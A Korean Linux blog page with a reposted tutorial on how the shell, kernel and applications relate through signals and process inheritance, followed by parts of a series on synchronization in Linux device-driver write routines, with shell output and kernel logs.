수안이의 컴퓨터 연구실

  • Mainpage
  • About Me
  • Tags
  • Metapage
  • Notice
  • Location
  • Keywords
  • Guestbook
  • Admin
  • Write an Article
  • Total | 1694231
  • Today | 582
  • Yesterday | 588

10 Articles, Search for 'Unix & Linux/Kernel'

  1. 2007/05/14 SHELL, KERNEL, 응용과의 관계
  2. 2007/05/10 리눅스 커널의 이해(5): 디바이스에 쓰기 동작에 대한 구체적인 작성 예
  3. 2007/05/10 리눅스 커널의 이해(4): Uni-Processor & Multi-Processor 환경에서의 동기화 문제
  4. 2007/05/10 리눅스 커널의 이해(3): 리눅스 디바이스 작성시 동기화 문제
  5. 2007/05/10 리눅스 커널의 이해(2): 리눅스 커널의 동작
  6. 2007/05/10 리눅스 커널의 이해(1) : 커널의 일반적인 역할과 동작
  7. 2007/05/04 Kprobes를 이용한 커널 디버깅
  8. 2007/04/30 KernelAnalysis-HOWTO
  9. 2006/11/24 Linux x86 kernel function hooking emulation
  10. 2006/11/24 Linux on-the-fly kernel patching without LKM
«Prev  1  Next»
Unix & Linux/Kernel2007/05/14 10:46

SHELL, KERNEL, 응용과의 관계

커널과 쉘과 응용(어플리케이션)의 관계라 ? 너무 기본적인것이라고 생각할수 있지만 의외로 많은 시스템괸리자와 개발자가 이들 관계에 대해 혼동을 하고 있다. 이 문서는 이들 관계에 대한 기본적인 내용과 이를 테스트 하기 위한 몇가지 코드들을 제공하고 있다.




1절. 소개
2절. 혼동하기 쉬운것들
2.1절. 쉘은 커널과 응용프그램을 연결한다?
2.1.1절. 그럼 쉘과 어플리케이션과는 전혀 관계가 없나요?
2.1.2절. 데몬 프로세스와 쉘과의 관계
2.2절. 그렇지만 쉘의 환경변수를 읽어 오잖아요..!!
3절. 결론

--------------------------------------------------------------------------------

1절. 소개
많은 시스템관리자 혹은 프로그래머들이 Kernl, Shell, 응용프로그램과의 관계에 대해서 혼동을하한다. - 꽤 많은 경험을 가지고 있다 할지라도 헷갈릴때가 있다. -

특히 이들과의 관계를 제대로 이해하는 것은 프로그래밍시 어느 부분에 문제가 있는지 명확하게 판단할수 있도록 도와줌으로 좀더 안정된 환경에서 개발과 테스트를 할수 있도록 만들어준다.

이번 글은 Kernel 과 Shell 그리고 응용과의 관계에 대해서 알아보도록 하겠다.

모든 설명과 테스트는 Linux Kernel 2.4.x 에서 이루어질것이다. 그러나 다른 모든 유닉스에도 공통되는 사항임으로 다른 유닉스역시 같은 테스트결과를 보여줄것이라고 믿어도 된다.


--------------------------------------------------------------------------------

2절. 혼동하기 쉬운것들
2.1절. 쉘은 커널과 응용프그램을 연결한다?
유닉스에 대해서 약간의 관심을 가지고 있었다면, 아래와 같은 커널, 쉘, 응용과의 관계를 나타내는 그림을 본적이 있을것이다.              USER
  +-----------------------+
  |      APPLICATION      |
  |   +---------------+   |
  |   |     SHELL     |   |
  |   |   +--------+  |   |
  |   |   | Kernel |  |   |
  |   |   +--------+  |   |
  |   +---------------+   |
  +-----------------------+
                       

이 그림을 언뜻 보고나서 혼동하는 점이 SHELL 이 Kernel 을 둘러 싸고 있고 그위에 응용이 있으니, 응용이 커널과 통신하기 위해서는 쉘을 통과하는걸로 착각할수 있다는 점이다. 게다가 기본적으로 모든 작업이 쉘위에서 이루어짐으로 이러한 착각에 쉽게 빠질수 있다.

그러나 쉘은 커널과 어플리케이션(프로세스)과의 중계를 위해 존재하는게 아니다. 쉘은 사용자와 커널간의 중계를 위해 존재하는 인터프리터 역활을 하는 응용프로그램일 뿐이다. 커널 입장에서는 쉘이나 어플리케이션이나 모두 동일한 응용 어플리케이션일 뿐으로 각각의 어플리케이션은 시스템콜을 이용해서 커널과 직접적으로 작용하게 된다.

쉘은 시스템관리자가 시스템 관리를 효율적으로 할수 있는 환경을 만들어주기 위한 약간 특이한 어플리케이션일 뿐이다.


--------------------------------------------------------------------------------

2.1.1절. 그럼 쉘과 어플리케이션과는 전혀 관계가 없나요?
물론 쉘이 쉘위에서 실행하는 어플리케이션과 전혀 관계가 없지는 않다. 기본적으로 쉘은 어플리케이션을 실행시킬때 fork&exec 기법을 이용해서 새로운 프로세스를 발생시킨다. 이때 프로세스 관계에 의해서 쉘은 부모프로세스가 되고 어플리 케이션은 자식 프로세스가 되는데, 프로세스 관계상 자식 프로세스인 어플리케이션은 부모프로세번호(PPID), 세션아이디(SID), 프로세스그룹아이디(GID) 등을 공유하게 된다. 부모/자식 프로세스에 대한 내용은 프로세스 관계 를 참고하기 바란다.

또한 환경변수와 열린파일이 있을경우 파일지시자 등을 상속받게 된다. 이러한 공유되는 자원들로 인하여 부모프로세스(SHELL)의 변화 가 자식프로세스에게 몇가지 영향을 미칠수 있다. 가장 먼저 생각해 볼수 있는게 signal 의 전달이다. 예를 들어 부모프로세스는 SIGHUP 와 같은 몇가지 신호를 받을 경우 죽기전에 자식프로세스에게 자신이 죽었음을 역시 시그널을 통해서 알려준다(엄밀히 말하자면 시그널의 전달은 커널이 맡는다). 운영체제마다 약간씩 다를수 있는데 리눅스의 경우 자식프로세스에게 SIGHUP 가 전달된다. SIGHUP 시그널에 대한 기본행동은 프로세스 종료가 되므로 SIGHUP 에대한 처리를 하지 않았을경우 부모프로세스가 종료되면 자식프로세스들도 SIGHUP 신호를 받고 종료한다.

예제: loop.c int main()
{
   while(1)
   {
       sleep(1);
   }
}
                               

위의 예제를 쉘에서 실행시키고, 다른 터미널(한텀)을 하나 더 띄어서 프로세서 상태를 살펴보도록 하자. [root@localhost test]# ps -efjc | grep loop | grep -v grep
root       405   356   405   356     -  30 19:45 ttypd    00:00:00 ./loop
root       407 32490   406 32490     -  26 19:45 ttyq1    00:00:00 grep loop

[root@localhost test]# ps -efjc | grep 356 | grep -v grep
root       356   355   356   356     -  30 19:49 ttypd    00:00:00 -bash
                               

PID, PPID, PGID, SID 가 각각 405, 356, 405, 356 임을 알수 있다. 여기에서 PPID 가 356 인 프로세스가 loop 를 실행시킨 부모 프로세스로 bash 쉘임을 알수 있다.

자 이제 kill -HUP 355 를 이용해서 쉘을 죽이면 어떻게 될까. ps 로 확인을 해보면 알겠지만 loop 프로세스까지 종료되었음을 확인할수 있을것이다.

그렇다면 부모프로세스가 시그널을 받았을때 무슨일인가 발생을 해서 자식프로세스가 죽었음을 알수 있다. 우리는 이미 부모프로세스가 죽을경우 SIGHUP 시그널을 발생시킨다는 점을 알고 있음으로 정말 자식프로세스에게 SIGHUP가 전달되는지 확인을 할수 있을것이다. 위의 loop 프로그램을 SIGHUP 시그널을 받아서 처리 하도록 코드를 약간? 수정해 보도록 하겠다.

예제 : loop_sig.c

                               

위의 프로그램은 SIGHUP를 받았을경우 시그널핸들러를 수행하도록 시그널 처리했다. 그러므로 SIGHUP 를 받더라도 죽지 않고 시그널 핸들러에 정의되어 있는 작업을 수행할 것이다.

위 프로그램을 컴파일후 실행시키고 부모쉘에 SIGHUP 신호를 보내고 결과를 확인해보자.
[root@localhost test]# ps -efjc | grep loop_sig | grep -v grep
root       612     1   612   568     -  30 20:10 ?        00:00:00 ./loop_sig
                               

프로세스가 살아 있음을 확인할수 있다. PPID 가 1임을 눈여겨 보면 부모프로세스를 잃은 자식프로세스는 커널이 관리하고 있음을 알수 있다. /tmp/otest 를 확인해 보면 loop_sig 프로그램이 SIGHUP 를 받아서 핸들러를 제대로 작동시켰음을 알수 있다. 테스트 삼아서 부모쉘에 SIGKILL 도 한번 날려보고 결과를 확인해보도록 하자.

테스트를 해본결과 쉘에서 실행시킨 프로그램은 부모프로세스의 영향을 받으며 그 영향은 SIGNAL 을 통해서 이루어진다는것을 확인할수 있었다. 하지만 그외에 부모프로세스로 부터 영향을 받는건 없다. 부모프로세스가 문제가 생겨서 커널로부터 시그널이 전달되는것을 제외하고는 프로세스는 독립적으로 커널과 시스템콜을 통해서 대화하며 작동하게 된다.


--------------------------------------------------------------------------------

2.1.2절. 데몬 프로세스와 쉘과의 관계
데몬 프로세스는 자신의 PID 를 가지며, 자기 스스로가 프로세스 그룹과 세션의 리더가 되는 독립적인 프로세스이다. 데몬 프로그램을 관리하는 부모 PID 는 커널 (PID 1)이 된다. 다음은 가장 간단한 형태의 데몬 프로그램이다. 데몬 프로그램에 대한 내용은 데몬 프로그램의 이해 를 참고하기 바란다.





위의 프로그램을 실행후 ps 를 이용해서 프로세스 상태를 확인 해보면 아래와 같다.
[root@coco /root]# ps -efjc | grep daemon | grep -v grep
root       699     1   699   699     -  30 20:38 ?        00:00:00 ./daemon
                               

비록 쉘에서 위의 프로그램을 실행시켰다고 하더라도, 일단 실행이 된후에는 완전히 독립된 프로그램으로 작동하고 있음을 알수 있다. 이경우에는 단지 커널이 부모 PID 이므로 커널이 죽거나 외부에서 시그널을 보내기 전에는 다른 영향을 받지 않고 스스로 작동함을 알수 있다.


--------------------------------------------------------------------------------

2.2절. 그렇지만 쉘의 환경변수를 읽어 오잖아요..!!
결론적으로 말해서 환경변수는 프로그램시작 시점에서만 읽어들이며, 중간에 환경변수를 요청한다고 해서 쉘의 환경변수를 읽어오지 않는다.

프로세스는 시작시점에서 환경변수를 읽어들이고 읽어들인 내용은 자신의 stack 영역에 저장하고, 필요할때 stack 영역에서 읽어들이기 때문에 쉘과 통신할 필요가 없다.

굳이 이것까지 테스트해보진 않겟다. 유닉스 환경변수 다루기 의 예제를 이용해서 (테스트 프로그램을 만든후) 각자 테스트 해보길 바란다.


--------------------------------------------------------------------------------

3절. 결론
쉘은 어플리케이션에 어떤 영향을 미치지 않는다. 쉘이 시그널을 받고 죽을 때 자식프로세스에게 발생시키는 시그널이란 것도 쉘이 발생시키는게 아니고 프로세스그룹을 관리하는 커널에서 발생시키는 것이기 때문이다.

단지 프로세스 시작시점에서 환경변수등을 통한 프로세스의 시작 정보를 조정할수 있을 뿐이다.

그리고 이러한 환경변수와 시그널은 쉘과 어플리케이션의 관계이기 때문에 발생하는게 아닌, 모든 부모/자식 프로세스간에 공통적으로 해당되는 사항들이다. 이점을 확실히 알게 된다면 관련된 문제가 발생했을때 좀더 능동적으로 대처할수 있게 될것이다. - 이러한 상황이 과연 발생할까 라고 생각할수 있지만 종종 이러한 상황을 만나게 될것이다. 이럴땐 조그만 거라도 "확실"하게 알고 있다는것 자체 만으로도 많은 시간과 노력을 절약할수 있게된다. -


출처 : http://joinc.co.kr/modules.php?name=new ··· 3Dnested
"Kernel" 카테고리의 다른 글
  • SHELL, KERNEL, 응용과의 관계 (0)2007/05/14
  • 리눅스 커널의 이해(5): 디바이스에 쓰기 동작에... (0)2007/05/10
  • 리눅스 커널의 이해(4): Uni-Processor & Multi-Pr... (0)2007/05/10
  • 리눅스 커널의 이해(3): 리눅스 디바이스 작성시... (0)2007/05/10
  • 리눅스 커널의 이해(2): 리눅스 커널의 동작 (0)2007/05/10
2007/05/14 10:46 2007/05/14 10:46
Posted by webdizen
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2938

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2007/05/10 10:29

리눅스 커널의 이해(5): 디바이스에 쓰기 동작에 대한 구체적인 작성 예

저자: 서민우
출처: Embedded World

[ 관련 기사 ]
♠ 리눅스 커널의 이해(1) : 커널의 일반적인 역할과 동작
♠ 리눅스 커널의 이해(2): 리눅스 커널의 동작
♠ 리눅스 커널의 이해(3): 리눅스 디바이스 작성시 동기화 문제
♠ 리눅스 커널의 이해(4): Uni-Processor & Multi-Processor 환경에서의 동기화 문제

이번 기사에서는 [디바이스에 쓰기 동작]에 대한 구체적인 작성 예를 살펴보고, 동기화 문제에 대한 처리를 적절히 해 주지 않을 경우 어떤 문제가 발생하는지 보기로 하자. 또한 지난 기사에서 살펴 보았던 동기화 문제에 대한 해결책을 이용하여 발생하는 문제점을 해결해 보기로 하자.

다음은 [디바이스에 쓰기 동작]을 중심으로 작성한 리눅스 디바이스 드라이버의 한 예다. 여기서는 독자가 모듈 형태의 리눅스 디바이스 드라이버를 작성할 줄 알고, 동적으로 리눅스 커널에 모듈을 삽입할 줄 안다고 가정한다.



그러면 동기화 문제와 관련한 부분을 중심으로 소스를 살펴 보자.

dev_write 함수는 write 시스템 콜 함수에 의해 시스템 콜 루틴 내부에서 수행된다. dev_write 함수에서 ①, ②, ③ 부분은 논리적으로 다음과 같다.


디바이스를 사용하고 있지 않으면
디바이스를 사용한다고 표시하고
데이터를 디바이스 버퍼에 쓰고 나간다


③ 부분에서 dev_buffer 변수는 가상 디바이스의 버퍼를 나타낸다. 그리고 ①과 ② 부분에서 사용한 dev_key 변수는 가상 디바이스의 버퍼를 하나 이상의 프로세스가 동시에 접근하지 못하게 하는 역할을 한다.

우리는 전월 호에서 이와 같은 루틴에서 발생하는 동기화 문제를 다음과 같이 처리할 수 있음을 보았다.


cli
디바이스를 사용하고 있지 않으면
디바이스를 사용한다고 표시하고
데이터를 디바이스 버퍼에 쓰고 나간다
sti


리눅스 커널에는 cli와 sti에 해당하는 local_irq_save와 local_irq_restore라는 매크로가 있다. 이 두 매크로를 이용하여 dev_write 함수의 ①, ②, ③ 부분에서 발생할 수 있는 동기화 문제를 다음과 같이 처리할 수 있다.





여기서 local_irq_save(flags) 매크로는 CPU 내에 있는 flag 레지스터를 flags 지역 변수에 저장한 다음에 인터럽트를 끄는 역할을 한다. local_irq_restore(flags) 매크로는 flags 지역 변수의 값을 CPU 내에 있는 flag 레지스터로 복구함으로써 인터럽트를 켜는 역할을 한다.

또 dev_write 함수에서 ①과 ④ 부분은 논리적으로 다음과 같다.


디바이스를 사용하고 있으면
데이터를 데이터 큐에 넣고 나간다


④ 부분에서 data_slot 배열 변수는 원형 데이터 큐를 나타낸다. empty_slot_pos 변수는 데이터를 채워 넣어야 할 큐의 위치를 나타낸다. empty_slot_num 변수는 큐의 비어 있는 데이터 공간의 개수를 나타낸다. 그래서 큐에 데이터를 채워 넣기 전에 empty_slot_num 변수의 값을 하나 감소시킨다. full_slot_num 변수는 큐에 채워진 데이터 공간의 개수를 나타낸다. 그래서 큐에 데이터를 채워 넣은 후에 full_slot_num 변수의 값을 하나 증가시킨다.

우리는 전월 호에서 이와 같은 루틴에서 발생하는 동기화 문제를 다음과 같이 처리할 수 있음을 보았다.


cli
디바이스를 사용하고 있으면
데이터를 데이터 큐에 넣고 나간다
sti


따라서 dev_write 함수의 ①과 ④ 부분에서 발생할 수 있는 동기화 문제를 다음과 같이 처리할 수 있다.





⑤ 부분은 ③ 부분에서 디바이스 버퍼에 데이터를 쓰고 나면, 디바이스가 동작하기 시작함을 논리적으로 나타낸다.

사용자 삽입 이미지

[그림 1] 디바이스에 쓰기 예


앞에서 우리는 ③ 부분에서 가상 디바이스의 버퍼를 사용한다고 했다. 따라서 이 디바이스에 의한 hardware interrupt는 발생할 수 없다. 그래서 여기서는 주기적으로 발생하는 timer interrupt를 가상 디바이스에서 발생하는 hardware interrupt라고 가정한다. 그럴 경우 timer interrupt는 [그림 1]과 같이 발생할 수 있으며, 이 그림은 전월호의 [그림 2]와 논리적으로 크게 다르지 않음을 볼 수 있다.

[그림 1]에서 ⓐ 부분은 dev_working 함수의 ⑥ 부분을 나타낸다. 여기서는 dev_interrupt 구조체 변수의 멤버 변수인 expires 변수 값을 커널 변수인 jiffies 변수 값에 1을 더해서 설정한다. jiffies 변수는 커널 변수로 주기적으로 발생하는 timer interrupt를 처리하는 루틴의 top_half 부분에서 그 값을 하나씩 증가시킨다. 리눅스 커널 버전 2.6에서는 초당 1000 번 timer interrupt가 발생하도록 설정되어 있다.

[그림 1]의 ⓑ 부분에서는 jiffies 변수 값을 증가시키고 있다. jiffies 변수 값을 증가시키는 함수는 do_timer 함수이며, timer interrupt handler 내에서 이 함수를 호출한다. do_timer 함수는 리눅스 커널 소스의 linux/kernel/timer.c 파일에서 찾을 수 있다.

[그림 1]의 ⓒ 부분에서는 dev_interrupt 구조체 변수의 expires 변수 값과 현재의 jiffies 변수 값을 비교하여 작거나 같으면 dev_interrupt 구조체 변수의 function 함수 포인터 변수가 가리키는 함수를 수행한다. 이 부분은 timer interrupt를 처리하는 루틴의 bottom_half 부분이며 timer_bh 함수 내에서 run_timer_list 함수를 호출하여 수행한다. timer_bh 함수는 리눅스 커널 소스의 linux/kernel/timer.c 파일에서 찾을 수 있다. [그림 1]의 ⓒ 부분에서는 dev_working 함수의 ⑦ 부분에 의해 실제로는 dev_interrupt_handler 함수가 수행된다.

dev_interrupt_handler 함수를 살펴보기 전에 timer_bh 함수 내의 run_timer_list 함수의 역할을 좀 더 보기로 하자. run_timer_list 함수는 timer_list 구조체 변수로 이루어진 linked list에서 timer_list 구조체 변수를 소비하는 역할을 한다. 구체적으로 timer_list 구조체 변수의 expires 변수 값이 현재 jiffies 변수 값보다 작거나 같을 경우 해당하는 timer_list 구조체 변수를 linked list에서 떼내어, timer_list 구조체 변수의 function 포인터 변수가 가리키는 함수를 수행한다. dev_working 함수의 ⑧ 부분에서 사용한 add_timer 함수는 커널 함수이며 run_timer_list 함수가 소비하는 linked list에 timer_list 구조체 변수를 하나 더해 주는 생산자 역할을 한다. dev_working 함수의 ⑨ 부분에서 사용한 init_timer 함수는 timer_list 구조체 변수를 초기화해주는 커널 함수이다.

그러면 dev_interrupt_handler 함수를 보기로 하자. dev_interrupt_handler 함수는 가상 디바이스의 top_half 루틴과 bottom_half 루틴을 나타낸다. dev_interrupt_handler 함수에서 ⑩ 부분은 논리적으로 다음과 같다.


데이터 큐가 비어 있으면
디바이스를 다 사용했다고 표시하고 나간다


또 dev_interrupt_handler 함수에서 ⑩과 ⑪ 부분은 논리적으로 다음과 같다.


데이터 큐가 비어 있지 않으면
데이터를 하나 꺼내서
디바이스 버퍼에 쓰고 나간다


⑪ 부분에서 full_slot_pos 변수는 데이터를 비울 큐의 위치를 나타낸다.

이상에서 dev_write 함수에서 동기화 문제가 발생할 수 있으며 다음과 같이 해결할 수 있다.





완성된 소스를 다음과 같이 컴파일한 후 insmod 명령어를 이용하여 커널에 devwrite.o 모듈을 끼워 넣는다. 컴파일하는 부분에서 –D__KERNEL__ 옵션은 #define __KERNEL__ 이라는 매크로 문장을 컴파일하고자 하는 파일의 맨 위쪽에 써 넣는 효과와 같으며, __KERNEL__ 매크로는 컴파일하는 소스가 커널의 일부가 될 수 있다는 의미를 가진다. MODULE 매크로는 컴파일하는 소스를 커널에 모듈형태로 동적으로 끼워 넣거나 빼 낼 수 있다는 의미이다. -I/usr/src/linux-2.4/include 옵션은 파일 내에서 참조하는 헤더파일을 찾을 디렉토리를 나타낸다. 일반적으로 PC 상에서 리눅스 커널 소스를 설치할 경우 /usr/src 디렉토리 아래 linux 내지는 linux-2.4 와 같은 디렉토리 아래 놓인다. 모듈 프로그램은 커널의 일부가 되어 동작하며 따라서 그 모듈이 동작할 커널을 컴파일하는 과정에서 참조했던 헤더파일을 참조해야 한다.


# gcc devwrite.c -c -D__KERNEL__ -DMODULE -I/usr/src/linux-2.4/include
# lsmod
# insmod devwrite.o -f
# lsmod
Module Size Used by Tainted: PF
devwrite 3581 0 (unused)


/proc/devices 파일은 커널내의 디바이스 드라이버에 대한 정보를 동적으로 나타낸다. 이 파일을 들여다보면 방금 끼워 넣은 디바이스 드라이버의 주 번호가 253임을 알 수 있다. 주 번호는 바뀔 수도 있으니 주의하기 바란다.


# cat /proc/devices
Character devices:
...
253 devwrite
...
Block devices:


우리가 작성한 디바이스 드라이버를 접근하기 위해 문자 디바이스 파일을 다음과 같이 만든다.


# mknod /dev/devwrite c 253 0
# ls -l /dev/devwrite
crw-r--r-- 1 root root 253, 0 7월 12 00:03 /dev/devwrite


그리고 우리가 작성한 디바이스 드라이버를 사용할 응용 프로그램을 다음과 같이 작성한다.





그리고 다음과 같이 응용 프로그램을 컴파일한 후 응용 프로그램을 수행해 본다. 화면에는 아무 내용도 뜨지 않는다.


# gcc devwrite-app.c -o devwrite-app
# ./devwrite-app


이젠 모듈을 커널에서 빼낸후 /var/log/messages 파일의 맨 뒷부분을 읽어 본다. 각각 insmod 명령어를 수행하는 과정에서 커널내에서 수행한 init_module 함수, 좀 전에 수행한 응용 프로그램을 수행하는 과정에서 커널내에서 수행한 dev_interrupt_handler 함수, rmmod 명령어를 수행하는 과정에서 커널내에서 수행한 cleanup_module 함수에서 찍은 메시지를 볼 수 있다.


# rmmod devwrite
# tail /var/log/messages
...
Jul 12 00:16:44 localhost kernel: Loading devwrite module
Jul 12 00:17:00 localhost kernel: A
Jul 12 00:17:13 localhost kernel: Unloading devwrite module


그러면 위와 같이 동기화 문제를 처리 하지 않을 경우 어떤 문제가 발생할 수 있는지 예를 하나 보기로 하자. 다음 예는 전월호의 [그림 5]와 [그림 6]의 경우에서 보았던 루틴간 경쟁 상태를 발생시킨다. 먼저 dev_write 함수와 dev_interrupt_handler 함수를 각각 다음과 같이 고친다.



dev_write 함수의 ⑫-⑴, ⑫-⑵, ⑫-⑶ 부분은 동기화 문제가 발생할 수 있는 영역을 반복적으로 수행함으로써 dev_interrupt_handler 함수와 충돌이 날 가능성을 높이는 역할을 한다. dev_write 함수의 ⑬-⑴, ⑬-⑵ 사이에 dev_interrupt_handler 함수가 끼어 들 경우 문제가 발생한다. ⑭ 부분은 ⑬-⑴, ⑬-⑵ 사이에 dev_interrupt_handler 함수가 끼어 들 가능성을 높이기 위해 끼워 넣었다. 다음과 같이 테스트해 본다.


# gcc devwrite.c -c -D__KERNEL__ -DMODULE -I/usr/src/linux-2.4/include
# insmod devwrite.o -f
# ./devwrite-app
# tail /var/log/messages -n 600
...
Jul 12 06:19:46 localhost kernel: <--1 ⒜
Jul 12 06:19:46 localhost kernel: 6
Jul 12 06:19:46 localhost kernel: no data ⒞
Jul 12 06:19:46 localhost kernel: <--2 ⒝
Jul 12 06:19:46 localhost kernel: <--1
Jul 12 06:19:46 localhost kernel: <--2
Jul 12 06:19:46 localhost kernel: <--1
Jul 12 06:19:46 localhost kernel: 8 ⒟
Jul 12 06:19:46 localhost kernel: <--2
Jul 12 06:19:46 localhost kernel: <--1
Jul 12 06:19:46 localhost kernel: 7 ⒠
Jul 12 06:19:46 localhost kernel: <--2
...
# rmmod devwrite


테스트를 수행한 결과 ⒜와 ⒝ 사이에 ⒞가 끼어 듦으로써 동기화의 문제가 발생하였다. 그 결과 ⒟와 ⒠에서 8과 7의 데이터 역전 현상이 발생하였으며, 또한 7 데이터에 starvation이 발생하였음을 알 수 있다.

그럼 여기서 발생한 동기화 문제를 해결해 보자. 먼저 dev_write 함수를 다음과 같이 고친다.



다음과 같이 테스트를 수행하다.


# gcc devwrite.c -c -D__KERNEL__ -DMODULE -I/usr/src/linux-2.4/include
# insmod devwrite.o -f
# ./devwrite-app
# tail /var/log/messages -n 600
...
Nov 19 18:41:07 localhost kernel: 0
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 1
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 2
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 3
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 4
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 5
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 6
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 7
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 8
Nov 19 18:41:07 localhost kernel: <--1
Nov 19 18:41:07 localhost kernel: <--2
Nov 19 18:41:07 localhost kernel: 9
...


데이터의 역전 현상이나 starvation 없이 순서대로 data가 가상 디바이스에 전달되는걸 볼 수 있다.

이상에서 <디바이스에 쓰기 동작>에 대한 구체적인 작성 예를 보았다. 참고로 모듈 프로그래밍은 일반적으로 루트 사용자의 권한으로 해야 한다. 본 기사에서는 리눅스 커널 2.6 버전의 내용을 위주로 동기화의 문제를 다루고 있지만, 실제 동기화에 대한 테스트는 리눅스 커널 2.4 버전의 파란 리눅스 7.3에서 하였으니 이 점 주의 하기 바란다.
"Kernel" 카테고리의 다른 글
  • SHELL, KERNEL, 응용과의 관계 (0)2007/05/14
  • 리눅스 커널의 이해(5): 디바이스에 쓰기 동작에... (0)2007/05/10
  • 리눅스 커널의 이해(4): Uni-Processor & Multi-Pr... (0)2007/05/10
  • 리눅스 커널의 이해(3): 리눅스 디바이스 작성시... (0)2007/05/10
  • 리눅스 커널의 이해(2): 리눅스 커널의 동작 (0)2007/05/10
2007/05/10 10:29 2007/05/10 10:29
Posted by webdizen
Tags 디바이스, 리눅스 커널
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2918

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2007/05/10 10:26

리눅스 커널의 이해(4): Uni-Processor & Multi-Processor 환경에서의 동기화 문제

저자: 서민우
출처: Embedded World

[ 관련 기사 ]
♠ 리눅스 커널의 이해(1) : 커널의 일반적인 역할과 동작
♠ 리눅스 커널의 이해(2): 리눅스 커널의 동작
♠ 리눅스 커널의 이해(3): 리눅스 디바이스 작성시 동기화 문제

이번 기사부터 3-4회에 걸쳐 리눅스 디바이스 드라이버 작성시 Uni-Processor 또는 Multi-Processor 환경에 따라 발생할 수 있는 동기화 문제의 여러 가지 패턴을 살펴보고 그에 대한 해결책을 알아보기로 하자.

리눅스 커널의 기본적인 동작

[그림 1]은 각각 system call에 의한 리눅스 커널의 동작, hardware interrupt에 의한 리눅스 커널의 동작, nested interrupt에 의한 리눅스 커널의 동작을 나타낸다. 여기서는 시그널을 처리하는 do_signal() 함수를 생략하였다. 일반적으로 리눅스 디바이스 드라이버는 do_signal() 함수와 직접적으로 관련이 없으며, 따라서 여기서는 설명의 편의상 이 부분을 생략하였다.

사용자 삽입 이미지

[그림 1] 리눅스 커널의 기본적인 동작


우리는 지난 기사에서 디바이스 드라이버의 주요한 동작을 크게 세가지로 나누었다. 그 세가지는 각각 [디바이스에 쓰기 동작], [동기적으로 디바이스로부터 읽기 동작], [비동기적으로 디바이스로부터 읽기 동작]이다. 이 각각의 동작에 대하여 먼저 Uni-Processor 상에서 발생할 수 있는 동기화 문제와 그에 대한 해결책을, 다음으로 Multi-Processor 상에서 발생할 수 있는 동기화 문제와 그에 대한 해결책을 차례로 살펴보기로 한다.

먼저 위의 세 가지 동작에 대하여 Uni-Processor 상에서 발생할 수 있는 동기화 문제와 그에 대한 해결책을 살펴보자.

[디바이스에 쓰기 동작]에 대한 Uni-Processor 상에서의 동기화 문제와 그에 대한 해결책

지난 기사에서 우리는 [디바이스에 쓰기 동작]과 관련한 커널의 흐름을 보았다. 그 흐름을 좀 더 구체적으로 나타내면 다음과 같다.

▶ 시스템 콜 루틴 내부
i) 디바이스를 사용하고 있지 않으면
디바이스를 사용한다고 표시하고,
데이터를 디바이스 버퍼에 쓰고 나간다
ii) 디바이스를 사용하고 있으면
데이터를 데이터 큐에 넣고 나간다

▶ 하드웨어
디바이스가 데이터를 다 보냈다 → hardware interrupt 발생

▶ top half 루틴 내부
bottom half 요청

▶ bottom half 루틴 내부
i) 데이터 큐가 비어 있으면
디바이스를 다 사용했다고 표시하고 나간다
ii) 데이터 큐가 비어 있지 않으면
데이터를 하나 꺼내서 디바이스 버퍼에 쓰고 나간다

이 흐름은 프로세스를 기준으로 볼 때 논리적으로 두 가지 흐름으로 나눌 수 있으며 각각 다음과 같다.

1) 다른 프로세스가 디바이스를 사용하고 있지 않을 경우
2) 다른 프로세스가 디바이스를 사용하고 있을 경우

각각의 경우를 구체적으로 보자.

디바이스에 쓰기 1

1) 다른 프로세스가 디바이스를 사용하고 있지 않을 경우

▶ 시스템 콜 루틴 내부
i) 디바이스를 사용하고 있지 않으면
디바이스를 사용한다고 표시하고(ⓐ),
데이터를 디바이스 버퍼에 쓰고 나간다

▶ 하드웨어
디바이스가 데이터를 다 보냈다 → hardware interrupt 발생

▶ top half 루틴 내부
bottom half 요청

▶ bottom half 루틴 내부
i) 데이터 큐가 비어 있으면
디바이스를 다 사용했다고 표시하고 나간다

[그림 2]를 통해서 첫번째 흐름을 좀 더 구체적으로 이해해 보자.

사용자 삽입 이미지

[그림 2] 디바이스에 쓰기 1


[그림 2]에서 어떤 프로세스 P1이 시스템 콜을 통해 커널 영역에서 어떤 디바이스를 사용하고자 할 때 다른 프로세스가 그 디바이스를 사용하고 있지 않으면 디바이스를 사용한다고 표시하고, 데이터를 디바이스 버퍼에 쓰고 나간다. 그러면 디바이스는 쓰기 동작을 수행하기 시작한다. 어느 정도의 시간이 지나면 그 디바이스는 쓰기 동작을 완료하고 hardware interrupt를 발생시킨다.

여기서 hardware interrupt는 임의의 프로세스 Pn을 수행하는 중에 발생한다. hardware interrupt가 발생하면 top half 루틴과 bottom half 루틴을 차례로 수행한다. top half 루틴에서는 특별한 일을 하지 않고 bottom half 루틴이 수행되기를 요청한다. 그러면 bottom half 루틴에서는 데이터 큐가 비어 있는지 보고 비어 있으면 디바이스를 다 사용했다고 표시하고 나간다.

여기서 디바이스의 사용은 ① 지점에서 시작해서 ② 지점에서 끝난다. 즉, 시스템 콜 영역에서 시작해서 bottom half 영역에서 끝난다. 일반적으로 이 구간은 CPU를 기준으로 볼 때 시간상으로 무척 길며 얼마나 걸릴지 예측할 수 없다.

사용자 삽입 이미지

[그림 3] 디바이스에 쓰기 2


